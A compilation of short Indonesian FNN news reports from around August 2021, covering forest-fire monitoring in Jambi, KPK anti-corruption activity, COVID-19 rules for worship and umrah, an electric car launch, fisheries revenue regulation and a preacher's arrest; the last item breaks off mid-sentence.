Jakarta, FNN - Direktur Reserse Kriminal Khusus Polda Jambi Kombes Pol Sigit Dany Setiyono mengatakan bahwa Polda Jambi menargetkan pemasangan 30 "CCTV" untuk memantau dan mencegah terjadinya kebakaran hutan dan lahan (karhutla). “Saat ini berjumlah 13 'CCTV', tahun lalu 10 unit, dan akan terus dikembangkan sampai 30 'CCTV',” kata Sigit ketika memberi paparan dalam seminar bertajuk “Peran Penginderaan Jauh dalam Penegakan Hukum Terkait Kebakaran Hutan/Lahan di Indonesia” yang diselenggarakan secara daring, Jumat. Pemasangan 30 "CCTV" tersebut bertujuan untuk menyempurnakan "Asap Digital" (Aplikasi Sistem Analisa Pengendalian Karhutla Digital) yang digunakan untuk memantau dan mendeteksi potensi asap kebakaran pada daerah-daerah rawan karhutla. Pada tahun 2021, Asap Digital telah berhasil mendeteksi 19 kasus karhutla dari jumlah total 76 kejadian. Meski sebagian besar informasi diperoleh dari laporan masyarakat (33 kasus), Sigit menilai bahwa Asap Digital telah memberi kontribusi berupa informasi terkini yang membantu dalam penanganan karhutla secara dini. Apalagi, Asap Digital masih dalam proses penyempurnaan. “Asap Digital ini memberi andil yang cukup besar dalam menangkap info karhutla,” ucapnya. Selain melakukan pencegahan kebakaran melalui Asap Digital, Polda Jambi juga mengatakan bahwa telah dilakukan peningkatan patroli untuk mendeteksi keberadaan asap karhutla secara dini. "Kami melakukan patroli sambang di daerah-daerah yang sangat terdampak atau rawan karhutla," tutur Sigit. Kedua kegiatan tersebut merupakan bagian dari strategi Polda Jambi untuk meningkatkan deteksi dini keberadaan asap karhutla guna mencegah terjadinya kebakaran. Strategi lain yang telah dilakukan oleh Polda Jambi adalah melakukan sosialisasi kepada masyarakat agar tidak melakukan pembakaran lahan untuk keperluan apapun, penataan ekosistem gambut melalui kegiatan revitalisasi sekat kanal, serta menyusun dukungan anggaran pencegahan karhutla. Selain itu, optimalisasi fasilitas pendukung penanggulangan karhutla yang dimiliki oleh Polda Jambi serta yang dimiliki oleh perusahaan perkebunan dan kehutanan juga diupayakan oleh Polda Jambi. "Strategi kami mengedepankan langkah-langkah pencegahan dan meningkatkan sinergi (antarlembaga, red)," tutur kata Sigit. Ia juga mengatakan bahwa tahun ini, tidak terjadi dominasi kebakaran di wilayah lahan gambut seperti tahun-tahun sebelumnya. Kondisi tersebut dipersepsikan oleh Sigit sebagai indikator keberhasilan dari upaya pencegahan yang dilakukan oleh Polda Jambi dan seluruh pemangku kepentingan yang terlibat. (sws)

KPK Minta Komitmen dan Keseriusan Pemda Selesaikan Aset Bermasalah

Jakarta, FNN - Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Lili Pintauli Siregar meminta komitmen dan keseriusan pemerintah daerah (pemda) dalam menertibkan dan menyelesaikan aset bermasalah. Lili dalam keterangan yang diterima di Jakarta, Jumat mengatakan KPK akan mendukung penuh upaya penyelesaian aset-aset pemda yang bersengketa dengan berbagai pihak. "Kami berharap pemda konsisten dalam melakukan penertiban dan penyelesaian aset bermasalah. KPK akan mendorong dan siap membantu pemda dalam program penyelesaian aset bermasalah baik dengan sesama pemda, dengan pemerintah pusat maupun dengan pihak lainnya," ujar Lili. Hal itu disampaikannya dalam acara penandatanganan Berita Acara Serah Terima Aset (BAST) Pemerintah Kota (Pemkot) Tangerang ke Pemerintah Kabupaten (Pemkab) Tangerang di Gedung Pusat Pemkot Tangerang, Kamis (26/8). Lili mengungkapkan penyelesaian sengketa aset antarpemda merupakan permasalahan klasik yang banyak terjadi di lingkungan pemda di seluruh Indonesia yang umumnya merupakan dampak dari pemekaran wilayah. Sampai saat ini, lanjut Lili, banyak sengketa aset pemekaran belum selesai meskipun sudah puluhan tahun peristiwa pemekaran terjadi. Oleh karena itu, ia menegaskan pentingnya konsistensi pemda untuk membenahi tata kelola aset untuk dimanfaatkan bagi kepentingan masyarakat. "Kondisi ini akan menimbulkan permasalahan pemanfaatan, pencatatan, dan pemeliharaan aset daerah. Fokus kami adalah untuk menertibkan dan menyelamatkan aset pemerintah dan optimalisasi pemanfaatan aset pemerintah untuk kesejahteraan masyarakat," tutur Lili. Dalam kesempatan tersebut, diserahterimakan hibah Barang Milik Daerah (BMD) Pemkot Tangerang berupa 14 bidang tanah seluas total 20 ribu meter persegi (m2) senilai total Rp2,28 miliar kepada Pemkab Tangerang. Pada saat yang bersamaan juga dilakukan penandatanganan BAST jaringan perpipaan sepanjang 324 ribu meter dan 20.535 sambungan langganan milik Perumda Tirta Kerta Raharja kepada Perumda Tirta Benteng. Pelaksanaan serah terima BMD itu dilaksanakan sebagai rangkaian pemindahtanganan BMD yang dilakukan melalui pola hibah antara Pemkot Tangerang kepada Pemkab Tangerang dengan dasar pertimbangan kewilayahan dan penggunaan. Diketahui, sejak 1999 sampai dengan saat ini BMD berupa tanah tersebut berada di wilayah Kabupaten Tangerang dan digunakan oleh Pemkab Tangerang dalam rangka pelayanan kepada masyarakat. Wali Kota Tangerang Arief R Wismansyah menyampaikan apresiasi kepada Pemkab Tangerang atas dukungannya dalam penyerahan aset kepada Perumda Tirta Benteng atas pelanggan Perumda Tirta Kerta Raharja berikut jaringan perpipaannya yang berada di wilayah kota Tangerang. "Semoga BMD berupa tanah yang kami serahkan selanjutnya dapat dilakukan pencatatan dan dilakukan pengamanan dan penggunaan dalam rangka pelayanan kepentingan umum dan tugas pemerintahan," kata Arief. Selain itu, ia juga kembali meminta bantuan KPK untuk dapat mendampingi penyelesaian jalan rusak yang berada di Jalan Perancis dan Jalan Juanda di sisi utara Kota Tangerang yang merupakan aset PT Angkasa Pura II. Sementara itu, Bupati Tangerang Ahmed Zaki Iskandar mengucapkan terima kasih atas dukungan dan bantuan KPK selama ini dalam penyelesaian serah terima aset ini. "Pelan-pelan kami berdua dengan Pak Wali Kota mencoba membenahi aset daerah. Kami berharap KPK juga membantu terkait aset Puspem Kabupaten Tangerang bermasalah," ucap Zaki. (sws)

Wapres Tinjau Penerapan Protokol Kesehatan di Istiqlal dan Katedral

Jakarta, FNN - Wakil Presiden Ma’ruf Amin meninjau penerapan protokol kesehatan di tempat ibadah Masjid Istiqlal dan Gereja Santa Maria Diangkat ke Surga atau Gereja Katolik Katedral Jakarta Pusat, Jumat. Wapres Ma’ruf dan rombongan terbatas melakukan ibadah Salat Jumat dengan menjaga jarak bersama umat di Masjid Istiqlal. Usai Salat Jumat, Wapres melewati Terowongan Silaturahmi menuju Gereja Katolik Katedral untuk meninjau penerapan protokol kesehatan di rumah ibadah tersebut. Pemerintah pusat telah menerapkan status pemberlakuan pembatasan kegiatan masyarakat (PPKM) level 3 di DKI Jakarta. Dengan status level tersebut, kegiatan peribadatan mulai boleh dilakukan di rumah ibadat dengan maksimal keterisian umat sebanyak 50 persen kapasitas. Gubernur DKI Jakarta Anies Baswedan menerbitkan Keputusan Gubernur DKI Jakarta Nomor 1026 Tahun 2021 tentang PPKM Level 3 COVID-19, yang mengizinkan rumah ibadah beroperasi, yakni masjid, musala, gereja, pura, vihara, klenteng serta tempat lain yang difungsikan sebagai tempat ibadah. "Dapat mengadakan kegiatan peribadatan/keagamaan berjamaan selama masa PPKM Level t3 dengan maksimal 50 persen kapasitas atau 50 orang dengan menerapkan protokol kesehatan secara lebih ketat dengan memperhatikan ketentuan teknis dari Kementerian Agama," demikian kutipan Keputusan yang ditandatangani Anies Baswedan di Jakarta, Senin (23/8). Dalam siaran langsung Masjid Istiqlal TV, Wapres Ma’ruf tampak berada di antara jemaah dengan mengenakan setelan jas, sarung dan sorban putih. Tampak pula Imam Besar Masjid Istiqlal Nasarudin Umar yang berada di sebelah Wapres Ma’ruf. Salat Jumat di Masjid Istiqlal tersebut merupakan yang pertama kalinya bagi Wapres Ma’ruf di masa pandemi COVID-19 dan setelah renovasi Masjid Istiqlal.(sws)

Peneliti Meksiko Mengaku Ciptakan Masker Wajah Penetral COVID-19

Mexico City, FNN - Para peneliti di National Autonomous University of Mexico (UNAM) mengaku telah membuat masker menggunakan lapisan nano perak dan tembaga yang menetralkan SARS-CoV-2, virus penyebab COVID-19, kata pernyataan resmi universitas tersebut, Kamis. UNAM menyebut masker tiga lapis antimikroba itu SakCu; Sak berarti perak dalam bahasa Maya dan Cu adalah simbol kimia untuk tembaga. Untuk menguji masker itu, para peneliti mengambil tetesan mengandung virus corona dari pasien positif COVID-19 di rumah sakit Juarez di Meksiko dan meletakkannya di lapisan film perak-tembaga yang disimpan dalam polipropilen. UNAM mengatakan jika konsentrasi virus (yang menempel di lapisan masker) tinggi, virus menghilang lebih dari 80 persen dalam waktu sekitar delapan jam. Namun, jika muatan virusnya rendah, dalam dua jam virus menghilang dan tidak ada RNA virus yang terdeteksi. "Setelah kontak dengan lapisan nano perak-tembaga (pada masker), membran SARS-CoV-2 pecah dan RNA-nya rusak," kata pernyataan resmi dari UNAM. "Jadi, kalau SakCu dibuang sembarangan, tidak masalah karena tidak terkontaminasi, seperti banyak masker lainnya yang dibuang," kata pernyataan itu. Menurut pernyataan UNAM, masker SakCu dapat digunakan kembali dan dapat dicuci hingga 10 kali tanpa kehilangan sifat biosidanya. UNAM tidak memproduksi masker tersebut secara massal dan mengatakan saat ini memiliki kapasitas produksi 200 unit per hari. Penelitian itu dipimpin oleh Lembaga Penelitian Material UNAM. Namun penelitian tersebut belum melalui peninjauan oleh rekan sejawat (peer reviewed). (mth)

KPK Telusuri Jatah "Fee" Beberapa Proyek di Pemkab Lampung Utara

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menelusuri adanya dugaan jatah "fee" berupa uang terkait dengan pengerjaan beberapa proyek di Pemerintah Kabupaten (Pemkab) Lampung Utara, Lampung. Untuk menelusurinya, KPK pada Kamis (26/8) memeriksa mantan Wakil Bupati Lampung Utara Sri Widodo dan Djauhari berprofesi sebagai dokter dalam penyidikan kasus dugaan penerimaan gratifikasi di Pemkab Lampung Utara. Pemeriksaan keduanya digelar di Gedung Badan Pengawasan Keuangan dan Pembangunan (BPKP) Perwakilan Provinsi Lampung, Kota Bandarlampung. "Para saksi hadir dan dikonfirmasi antara lain terkait dengan pengerjaan beberapa proyek di Pemkab Lampung Utara yang diduga ada jatah 'fee' berupa uang untuk diserahkan kepada pihak-pihak yang terkait dengan perkara," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Jumat. Selain itu, KPK pada Kamis (26/8) juga memanggil seorang saksi lainnya, yaitu Dicky Saputra dari pihak swasta/Direktur CV Dewa Sakti. Namun, yang bersangkutan tidak hadir tanpa mengonfirmasi kepada tim penyidik. "KPK mengingatkan kepada saksi-saksi yang tidak hadir dan tanpa keterangan maupun tidak mengonfirmasi alasan ketidakhadirannya untuk bersikap kooperatif memenuhi panggilan tim penyidik untuk waktu yang akan ditentukan berikutnya," ucap Ali. Untuk diketahui, KPK saat ini sedang mengembangkan penyidikan terkait dugaan penerimaan gratifikasi di Pemkab Lampung Utara. Kendati demikian, untuk kronologi kasus dan pihak-pihak yang ditetapkan sebagai tersangka belum dapat diumumkan KPK saat ini. Sebagaimana kebijakan Pimpinan KPK saat ini bahwa pengumuman dan penetapan tersangka akan dilakukan bersamaan dengan penangkapan atau penahanan tersangka. Sebelumnya, KPK juga telah memroses enam orang dalam perkara suap terkait proyek di Dinas PUPR dan Dinas Perdagangan Lampung Utara, yaitu mantan Bupati Lampung Utara Agung Ilmu Mangkunegara, mantan Kepala Dinas PUPR Lampung Utara Syahbudin, mantan Kepala Dinas Perdagangan Lampung Utara Wan Hendri, Raden Syahril selaku orang kepercayaan Agung serta dua orang dari unsur swasta Chandra Safari dan Hendra Wijaya Saleh. (mth)

Mobil Listrik Genesis GV60 Bisa Diisi Daya Secara Nirkabel

Jakarta, FNN - Akhirnya, teknologi pengisi daya nirkabel datang sebagai fitur di kendaraan listrik ketika brand mewah Hyundai, Genesis, menyematkan teknologi WiTricity ke dalam crossover terbarunya, GV60, yang belum lama ini diperkenalkan. GV60 sekarang akan menjadi kendaraan listrik (EV) pertama dengan pengisian daya nirkabel di pasar AS ketika dipasarkan secara komersial lebih awal pada 2022, menurut media Korea, The Korean Car Blog, dikutip Jumat. Teknologi pengisian daya nirkabel ini dikembangkan bersama dengan WiTricity yang merupakan pemimpin dalam hal pengisian nirkabel kendaraan listrik. Mempertimbangkan tingkat teknologi saat ini, teknologi ini akan mampu memberikan kecepatan 6 hingga 8 kWh. Unit nirkabel 600′ GV60 pertama akan dijual di Korea Selatan sebelum akhir tahun. Karena pengisian nirkabel memerlukan konstruksi terpisah di stasiun pengisian, itu hanya ditawarkan sebagai opsi untuk varian atas GV60. Namun, karena standarisasi pengisian nirkabel saat ini sedang berlangsung di Eropa dan Amerika Serikat, diharapkan teknologi tersebut hanya tersedia secara lokal mulai paruh kedua tahun 2021. ​Selain opsi pengisian daya nirkabel, Genesis GV60 juga dilengkapi teknologi P&C (plug & charge) yang dapat memverifikasi pengguna dan pembayaran dilakukan secara otomatis hanya dengan mencolokkan kabel pengisi daya dari stasiun pengisian cepat atau supercepat. Ini menghilangkan prosedur rumit menggunakan kartu kredit atau kartu yang sesuai untuk melalui proses otentikasi. Ini juga mendukung "Car Pay". Genesis GV60 dikembangkan berdasarkan platform EV khusus yang dikenal sebagai E-GMP (Electric-Global Modular Platform), menandai langkah pertama merek tersebut menuju elektrifikasi. Desain eksterior GV60 menonjolkan citra performa tinggi bersama dengan tampilan yang dinamis dan halus. Genesis menghadirkan desain khasnya untuk bodi GV60, menghadirkan siluet ramping yang diharapkan dari merek tersebut. Bagian depan GV60 menampilkan desain yang dioptimalkan secara eksklusif untuk kendaraan listrik. Dua-Line Quad Lamps yang berbeda menambah karakter pada bodi yang halus dan bervolume. GV60 akan ditempeli emblem sayap baru yang diterapkan pada gril, dengan ketebalan emblem berkurang hampir 80 persen dari model sebelumnya. Ini menampilkan pola Guilloché unik yang sama yang sering terlihat pada jam tangan mewah, mewakili puncak kepekaan analog Genesis dengan inovasi teknologi tinggi untuk menciptakan pengalaman berkendara yang benar-benar mewah. Selain itu, Genesis telah memilih 'Clamshell Hood' untuk pertama kalinya, panel tunggal yang menggabungkan kap mesin dan spatbor, menciptakan kesan ramping untuk model EV dengan menghilangkan garis di antara bagian-bagiannya. Garis krom yang mengalir dari kaca depan ke bagian atas Daylight Opening (DLO) meluas ke desain garnish pilar C yang mewujudkan citra 'listrik', menambahkan karakteristik khas pada model EV. Sementara itu, gagang pintu elektrik meningkatkan citra futuristik yang mencolok dengan muncul secara otomatis saat Anda mendekati mobil. Di bagian belakang, lampu kombinasi belakang Two Line mengambil bentuk dinamis dan mengalir mulus dengan bodi tiga dimensi yang tebal. Bagian belakang juga dilengkapi spoiler sayap belakang tetap untuk menonjolkan atap berbentuk coupe, menambah citra performa tinggi yang dinamis. Fitur paling mencolok dalam desain interior GV60 adalah Crystal Sphere, Shift By Wire (SBW) berbentuk bola yang secara intuitif menginformasikan pengemudi saat kendaraan siap dikendarai. Dasbor di dalam GV60 dirancang dalam bentuk yang lebar dan ramping untuk menambah interior yang menyenangkan, menekankan atmosfer teknologi tinggi dengan indikator terintegrasi layar lebar (cclC, connected car Integrated Cockpit) yang terhubung dengan instrument cluster dan AVNT (audio, video, navigasi, telekomunikasi). (mth)

WNI Belum Dapat Kunjungi Arab Saudi Meski Vaksin Sinovac Diakui

Jakarta, FNN - Warga negara Indonesia yang telah divaksin COVID-19, terutama mereka yang hendak menjalankan umrah ke Arab Saudi saat ini belum dapat mengunjungi negara tersebut, menyusul vaksin buatan Sinovac telah diakui di sana. Menurut Konsul Jenderal RI di Jeddah, Eko Hartono, hingga saat ini pihaknya belum dapat melakukan dorongan ke pemerintah setempat terkait izin masuk jamaah umrah WNI ke Arab Saudi, mengingat penerbangan langsung dari Indonesia yang masih belum diizinkan oleh negara itu. “Untuk dorong umrah belum bisa karena Indonesia masih di-suspend, belum boleh terbang langsung. Kita masih tunggu ketentuan lebih lanjut Saudi,” kata Eko. Sebagaimana diberitakan sebelumnya, Arab Saudi secara bertahap mulai menerima permintaan jamaah umrah dari luar negeri untuk mereka yang sudah divaksin dan pada Selasa (24/8), pemerintah setempat resmi memperbolehkan vaksin COVID-19 Sinovac dan Sinopharm bagi para calon jamaah. Namun, menurut Konjen RI, penggunaan kedua vaksin tersebut harus sebagai suntikan penguat di antara empat vaksin lain, yakni buatan Pfizer, AstraZeneca, Moderna, dan Johnson & Johnson. “Iya memang Sinovac dan Sinopharm sudah diakui Saudi tetapi harus booster satu di antara empat vaksin… Satu dari empat vaksin yang diakui Saudi,” ujarnya. Selain itu, lanjutnya, untuk vaksin juga perlu pengaturan teknis seperti di mana dan kapan vaksin disuntikkan. Dia pun menambahkan bahwa hingga saat ini belum ada sinyal dari pihak Arab Saudi terkait apakah izin masuk bagi jamaah umrah asal Indonesia akan segera dibuka. “Sampai sekarang belum. Semoga segera ada pengumuman itu,” tuturnya. (mth)

Anies Baswedan Resmikan Pembangunan Masjid At-Tabayyun pada Jumat

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan dijadwalkan hadir dalam acara peletakan batu pertama pembangunan pembangunan Masjid At- Tabayyun di Kompleks Perumahan Taman Villa Meruya, Jakarta Barat pada Jumat. "Jam 11 siang peletakan batu pertama dihadiri pak Gubernur," ujar Ketua Dewan Pembina Panitia Pembangunan Masjid Ilham Bintang dalam keterangan pers, Jumat. Karena masih dalam kondisi pemberlakuan pembatasan kegiatan masyarakat (PPKM), panitia acara tidak mengizinkan adanya kerumunan orang di dalam tenda peresmian. Penyelenggara hanya mengizinkan 40 orang tamu undangan untuk hadir dalam kegiatan tersebut. Sedangkan tamu undangan yang lain bisa mengikuti jalannya acara secara daring. "Acara dilaksanakan secara hybrid. Di luar undangan VVIP, dapat mengikuti acara dari tenda yang disediakan atau melalui aplikasi Zoom Meeting, siaran live di Channel YouTube Realita TV, FB, dan Instagram," kata Ketua Panitia Pembangunan Masjid At- Tabayyun, Marah Sakti Siregar ​​​​​​. Nantinya, masjid yang sudah lama dinantikan warga ini akan berdiri di atas lahan seluas 1.078 meter persegi (m2) milik Pemprov DKI. Dia berharap dengan pembangunan masjid ini, warga sekitar bisa menjalankan shalat hingga kegiatan keagamaan lain dengan nyaman dan aman. Sebelumnya, Marah Sakti memberikan penghargaan kepada Gubernur DKI Jakarta Anies Baswedan yang menerbitkan izin penggunaan lahan aset Pemprov DKI seluas 1.078 m2 untuk pembangunan masjid pada Oktober 2020. "Terima kasih panitia juga disampaikan kepada jajaran Pemprov DKI, Wali Kota Jakarta Barat, Camat Kembangan, Lurah Meruya Utara dan Selatan hingga Ketua RT dan RW yang terus membantu dan mendukung panitia," ujarnya, (13/5). Marah Sakti mengatakan selama ini warga setempat melaksanakan ibadah shalat di tenda Masjid At Tabayyun yang dijuluki "Tenda Arafah". Masyarakat telah melaksanakan kegiatan Shalat Jumat, shalat fardhu lima waktu, shalat tarawih, dan Iktikaf 10 hari terakhir Bulan Ramadhan di masjid tenda itu. Selain itu, masyarakat Taman Villa Meruya juga melakukan kegiatan sosial, seperti penyerahan santunan kepada yatim piatu dan kalangan kurang mampu secara ekonomi di tenda itu. Dia menyatakan rencana pembangunan Masjid At Tabayyun akan dilaksanakan peletakan batu pertama pada Agustus 2021. Sementara itu, pengembang Taman Villa Meruya sejak awal PT PSP hingga berganti Kartunindo bahkan berganti perusahaan terbaru belum menyediakan fasilitas pembangunan tempat ibadah atau masjid karena lahan untuk tempat ibadah serta fasilitas sosial dan fasilitas umum telah diserahkan kepada Pemprov DKI Jakarta. (mth)

BMKG: Waspadai Hujan Lebat di Wilayah Pegunungan di Sumut

Medan, FNN - Badan Meteorologi, Klimatologi, dan Geofisika mengeluarkan peringatan kepada masyarakat agar waspada potensi hujan sedang hingga lebat di wilayah pegunungan di lereng barat, pantai barat, dan lereng timur Sumatera Utara, Jumat. Prakirawan BBMKG Wilayah I Medan, Budi Prasetyo, dalam keterangan tertulis yang diterima di Medan, Jumat, menyebutkan pada siang hari hujan ringan hingga lebat berpotensi terjadi di Mandailing Natal, Tapanuli Tengah, Tapanuli Selatan, Tapanuli Utara, Toba, Padang Lawas, Padang Lawas Utara, dan sekitarnya. Sore-malam hari hujan ringan hingga lebat berpotensi terjadi di Mandailing Natal, Tapanuli Tengah, Tapanuli Selatan, Tapanuli Utara, Humbang Haundutan Toba, Padang Lawas, Padang Lawas Utara, Labuhan Batu, Labuhan Batu Selatan, Simalungun, Samosir, Karo, Dairi, Pakpak Bharat, Deli Serdang, dan sekitarnya. Dini hari hujan ringan di wilayah Labuhan Batu, Labuhan Batu Selatan, Labuhan Batu Utara, Asahan, Padang Lawas, dan sekitarnya. Suhu udara 24-33 derajat Celcius, kelembapan udara 60-97 persen, angin berembus dari tenggara-barat dengan kecepatan 10-30 km/jam. (mth)

Anggota DPR Pertanyakan Pembabatan Hutan Lindung di Manggarai Barat

Kupang, FNN - Komisi IV DPR RI mempertanyakan pembabatan hutan lindung yang dilakukan oleh Kementerian Lingkungan Hidup dan Kehutanan (KLHK) di Hutan Lindung Bowosie yang berlokasi di Satar Kodi, Desa Nggorang, Kecamatan Komodo, Kabupaten Manggarai Barat (Mabar). Anggota DPR RI Yohanis Fransiskus Lema, dihubungi ANTARA dari Kupang, Jumat mengatakan terkait hutan lindung itu sudah dibahas dengan KLHK saat raker Komisi IV dengan Menteri Lingkungan Hidup dan Kehutanan Siti Nurbaya pada Kamis (26/8). "Proyek KLHK dan Kemenpar tersebut harus dipertanyakan. Pasalnya, berbagai jenis pohon endemik dengan usia yang tidak muda harus dikorbankan," tuturnya. Menurut dia tidak tepat membangun "pariwisata impor" dengan cara menanam pohon atau bunga yang didatangkan dari luar negeri dengan tujuan mempercantik bukit-bukit sekitar Labuan Bajo. Hal ini menurut dia jelas sangat berbahaya dalam perspektif ekologis karena merusak keseimbangan alam. Selain itu, juga penebangan pohon adalah kabar buruk bagi masyarakat Labuan Bajo. Ini dikarenakan lokasi penebangan hutan sangat dekat dengan lokasi mata air dan hutan Bowosie adalah harapan satu-satunya wilayah tangkapan air di Labuan Bajo. "Saat ini saja, 14 mata air telah kering total karena pembangunan masif di daerah itu, dan pembabatan ini akan semakin berdampak," ucap dia. Politisi PDI perjuangan tersebut menambahkan status hutan Bowosie adalah hutan produksi dan bersebelahan dengan hutan lindung. Apabila akan digunakan untuk tujuan non-kehutanan, harus mengurus amdal dan mendapatkan persetujuan lingkungan untuk mengurus persetujuan penggunaan kawasan hutan. "Yang saya ketahui, belum ada izin itu. Tanpa izin, tindakan pembabatan hutan adalah ilegal dan bisa dipidana," ujarnya menegaskan. Lebih lanjut kata dia, dari kiriman foto dan video dan berita yang diterimanya ada kurang lebih 10 hektare hutan yang pohon-pohonnya dibabat. Pembabatan 10 hektare hutan tersebut berdasarkan laporan yang diterima akan dijadikan sebagai lokasi proyek pembibitan kayu dan buah-buahan. Oleh karena itu Ansy menganjurkan agar KLHK dan Kemenperakraf membiarkan saja hutan Bowosie untuk tetap jadi jantung kehidupan kota Labuan Bajo. "Biarkan hutan tetap asri dan asli dengan vegetasi alamnya. Bila perlu, berikan edukasi dan pelibatan masyarakat dalam konservasi dan pengelolaan hutan produksi bukan memberi peluang emas/karpet merah pada perusakan," kata dia. (mth)

Warung Pintar Rilis Fitur Cicilan untuk Pedagang

Jakarta, FNN - Perusahaan bisnis ritel berbasis teknologi Warung Pintar Group merilis fitur cicilan Bon Pintar agar pedagang bisa membeli stok barang dan membayar saat jatuh tempo. "Warung Pintar sebagai platform berusaha melihat kebutuhan dari sudut pandang pengusaha warung, yang di masa penuh tantangan seperti sekarang mendapatkan tambahan modal untuk meningkatkan stok atau melebarkan pilihan stok merupakan pain-point yang dihadapi hampir seluruh mitra Warung Pintar," kata CEO Warung Pintar Group, Agung Bezharie, dalam keterangan pers, dikutip Jumat. Warung Pintar menggandeng perusahaan teknologi finansial CICIL untuk mengembangkan fitur Bon Pintar. Setiap warung yang bergabung dengan platform Warung Pintar mendapatkan kapasitas permodalan yang berbeda sesuai dengan kegiatan dan data riwayat belanja. ​Setelah mendapatkan izin dari pemilik warung, data tersebut akan menjadi skor kredit (credit scoring) bersama CICIL, untuk mengurangi risiko terlambat bayar. Pemilik warung bisa mengajukan Bon Pintar lewat aplikasi Warung Pintar. Setelah lolos verifikasi, mereka bisa belanja stok produk dan membayar 14 hari kemudian. Fitur Bon Pintar juga dibuat untuk meningkatkan literasi finansial pemilik warung. Platform tersebut menargetkan ada 150.000 pemilik warung yang menggunakan layanan Bon Pintar. (mth)

KKP Resmi Punya Aturan Baru Soal Pengelolaan PNBP Sektor Perikanan

Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) resmi memiliki aturan baru terkait pengelolaan penerimaan negara bukan pajak (PNBP) sektor kelautan dan perikanan setelah Presiden Joko Widodo menerbitkan Peraturan Pemerintah (PP) Nomor 85 Tahun 2021. "Aturan tersebut kini menjadi acuan KKP dalam mengelola PNBP di bidang kelautan dan perikanan," kata Menteri Kelautan dan Perikanan, Sakti Wahyu Trenggono dalam siaran pers di Jakarta, Jumat. Dilansir dari laman resmi Kementerian Sekretariat Negara, PP Nomor 85/2021 ditetapkan dan diundangkan pada 19 Agustus 2021. Dengan terbitnya PP Nomor 85 Tahun 2021 tentang Jenis dan Tarif Atas Jenis Penerimaan Negara Bukan Pajak yang Berlaku pada Kementerian Kelautan dan Perikanan, PP Nomor 75 Tahun 2015 yang sebelumnya menjadi acuan, tidak lagi berlaku. PP Nomor 85 Tahun 2021 terdiri dari 23 pasal dan lampiran. PP tersebut mengatur 18 jenis PNBP pada sektor kelautan dan perikanan yang antara lain meliputi pemanfaatan sumber daya alam perikanan, pelabuhan perikanan, dan pengembangan penangkapan ikan. Kemudian juga mencakup penggunaan sarana dan prasarana sesuai dengan tugas dan fungsi, pemeriksaan/pengujian laboratorium, pendidikan kelautan dan perikanan, pelatihan kelautan dan perikanan, serta analisis data kelautan dan perikanan. Selanjutnya sertifikasi, hasil samping kegiatan tugas dan fungsi, tanda masuk dan karcis masuk kawasan konservasi, persetujuan kesesuaian kegiatan pemanfaatan ruang laut, persetujuan penangkapan ikan yang bukan untuk tujuan komersial dalam rangka kesenangan dan wisata, perizinan berusaha terkait pemanfaatan di laut. Selain itu, dalam PP tersebut juga termasuk mengenai pemanfaatan jenis ikan dilindungi dan/atau dibatasi pemanfaatannya, denda administratif, ganti kerugian, dan alih teknologi kekayaan intelektual. PP Nomor 85 Tahun 2021 merupakan implementasi dari UU Nomor 11 Tahun 2020 tentang Cipta Kerja, yang salah satunya mengatur perubahan formula penarikan PNBP yaitu penarikan praproduksi, penarikan pascaproduksi dan sistem kontrak. Peraturan ini menjadi landasan hukum bagi KKP dalam mengimplementasikan tiga program terobosan 2021- 2024, salah satunya peningkatan PNBP dari sumber daya alam perikanan tangkap untuk peningkatan kesejahteraan nelayan. Seiring terbitnya aturan baru mengenai pengelolaan PNBP, Menteri Kelautan dan Perikanan Sakti Wahyu Trenggono meminta jajarannya untuk terus berinovasi yang salah satu tujuannya untuk meningkatkan kualitas pelayanan kepada masyarakat kelautan dan perikanan. “Untuk mengoptimalkan PNBP guna menunjang pembangunan nasional, PNBP pada KKP sebagai salah satu sumber penerimaan negara, perlu dikelola dan dimanfaatkan untuk peningkatan pelayanan kepada masyarakat berdasarkan semangat dan tujuan diterbitkannya Undang-Undang Cipta Kerja,” ujarnya. Sebelumnya, terkait dengan target PNBP perikanan yaitu Rp12 triliun pada 2024, Anggota Komisi IV DPR RI Slamet dalam keterangan tertulisnya menyatakan bahwa angka itu dinilai bombastis karena secara historis, realisasi PNBP perikanan selama ini tidak pernah menyentuh angka Rp1 triliun dalam setahun. Berdasarkan data yang diperoleh Slamet, realisasi PNBP perikanan tahun 2020 yang hanya sebesar Rp600,4 miliar dan merupakan realisasi PNBP tertinggi sejak tahun 2016. Realisasi PNBP perikanan per tahun, lanjutnya, adalah Rp521 miliar pada 2019, Rp448 miliar pada 2018, Rp491 miliar pada 2017, dan Rp357 miliar pada 2016. (mth)

Polri Jerat Penceramah Yahya Waloni dengan Pasal Berlapis

Jakarta, FNN - Direktorat Tindak Pidana Siber (Dit Siber) Bareskrim Polri menangkap penceramah Muhammad Yanya Waloni atas dugaan ujaran kebencian bermuatan SARA dan penodaan terhadap agama tertentu. "Penyidk menjeratnya dengan pasal berlapis, dari perbuatannya disangkakan dengan beberapa pasal," kata Kepala Biro Penerangan Masyarakat (Karopenmas) Divisi Humas Polri Brigjen Pol Rusdi Hartono, dalam konferensi pers di Gedung Divisi Humas Polri, Jakarta, Jumat. Rusdi menjelaskan, pasal yang disangkakan kepada Yahya Waloni sama seperti Muhammad Kece, yakni Pasal 28 ayat (2) dan junto Pasal 45a ayat (2), di mana dalam pasal tersebut diatur barang siapa dengan sengaja tidak sah menyebarkan permusuhan, kebencian berdasarkan SARA dan juga disangkakan dengan Pasal 156a KUHPidana tentang penodaan agama. "Pasal yang disangkakan sama, perilaku dan tindakannya sama (dengan Kece-red)," tutur Rusdi. Dalam konferensi pers pagi itu, Rusdi juga menjelaskan, kronologis penangkapan Muhammad Yahya Waloni pada Kamis (26/8) sekitar pukul 17.00 WIB di Perumahan Permata, Klaster Dragon, Kecamatan Cileungsi, Kabupate Bogor, Jabar. Penegakan hukum terhadap Yahya Waloni berdasarkan Laporan Polisi (LP) Nomor 0287/VI/2021/Bareskrim.Polri tanggal 27 April 2021. Setelah adanya laporan, penyidik Bareskrim Polri melakukan penyelidikan dan bulan Mei status perkara dinaikkan menjadi penyidikan termasuk menetapkan tersangka. "Itukan proses sejak bulan April, bulan Mei sudah naik ke penyidikan, sudah jadi tersangka," ujar Rusdi. Terkait barang bukti, Rusdi menyebutkan, ada beberapa konten video serta peralatan yang digunakan Yahya Waloni untuk menyebarkan konten ceramahnya ke akun media sosialnya, termasuk 